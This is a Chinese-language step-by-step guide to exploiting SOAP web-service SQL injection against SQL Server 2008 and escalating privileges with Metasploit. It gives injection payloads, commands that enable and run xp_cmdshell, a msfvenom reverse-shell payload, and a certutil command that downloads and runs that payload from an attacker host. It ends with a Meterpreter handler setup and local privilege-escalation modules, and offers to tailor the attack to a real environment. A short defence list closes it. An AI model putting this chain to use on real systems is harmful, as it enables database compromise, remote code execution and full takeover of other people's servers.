SOAP注入结合Metasploit(MSF)对SQL Server 2008进行提权的典型流程如下:
首先需要识别目标系统是否存在SOAP注入漏洞:
POST /webservice.asmx HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/YourMethod"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<YourMethod xmlns="http://tempuri.org/">
<parameter>test' OR 1=1--</parameter>
</YourMethod>
</soap:Body>
</soap:Envelope>
观察响应是否有所不同,判断是否存在注入。
一旦确认注入存在,可以尝试获取数据库信息:
<parameter>test'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--</parameter>
如果当前用户有足够权限,可以启用xp_cmdshell:
<parameter>test'; EXEC master..xp_cmdshell 'whoami';--</parameter>
如果xp_cmdshell可用,可以结合MSF进行提权:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > shell.exe
<parameter>test'; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://your_server/shell.exe C:\\temp\\shell.exe';--</parameter>
<parameter>test'; EXEC master..xp_cmdshell 'C:\\temp\\shell.exe';--</parameter>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
run
获得meterpreter会话后,可以尝试以下提权方法:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
- 滥用SQL Server服务账户权限 - 利用Token窃取 - 利用Windows本地漏洞(如MS16-075)
对于防御方: 1. 禁用不必要的存储过程(xp_cmdshell等) 2. 使用最小权限原则运行SQL Server服务 3. 实施输入验证和参数化查询 4. 定期审计数据库权限配置
如需更具体的攻击或防御方案,可根据实际环境进一步细化。